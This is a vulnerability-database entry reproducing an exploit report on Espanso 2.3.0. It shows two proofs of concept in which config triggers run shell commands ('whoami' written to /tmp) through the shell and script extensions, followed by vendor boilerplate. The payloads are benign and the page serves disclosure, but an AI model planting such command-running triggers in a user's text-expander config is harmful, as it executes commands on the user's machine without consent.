Lucene search
K

📄 Espanso 2.3.0 Shell and Script Extension Arbitrary Command Execution

🗓️ 13 May 2026 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 49 Views

Espanso v2.3.0 enables arbitrary command execution via shell and script extensions with no restart.

Code
# Exploit Title: Espanso v2.3.0 - Shell & Script Extension Arbitrary
    Command Execution (RCE)
    # Date: 2026-05-13
    # Exploit Author: Chokri Hammedi
    # Software: https://github.com/espanso/espanso/releases/tag/v2.3.0
    # Vendor: https://espanso.org/
    # Version: 2.3.0
    # Tested on: linux
    #
    # Description:
    # The Shell and Script extensions in Espanso v2.3.0 allow arbitrary command
    # execution. No restart required. Config changes take effect immediately.
    
    
    POC #1 - SHELL EXTENSION:
    
    STEPS:
    1. espanso edit
    
    2. Add trigger:
       - trigger: ":pwn"
         replace: "{{output}}"
         vars:
           - name: output
             type: shell
             params:
               cmd: "whoami > /tmp/whoami.txt && echo PWNED"
    
    3. Type :pwn in any text editor
    
    4. cat /tmp/whoami.txt
       Output: user
    
    
    POC #2 - SCRIPT EXTENSION:
    
    STEPS:
    1. espanso edit
    
    2. Add trigger:
       - trigger: ":run"
         replace: "{{output}}"
         vars:
           - name: output
             type: script
             params:
               args:
                 - "sh"
                 - "-c"
                 - "whoami > /tmp/script_pwned.txt && echo SCRIPT_RCE"
    
    3. Type :run in any text editor
    
    4. cat /tmp/script_pwned.txt
       Output: user

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation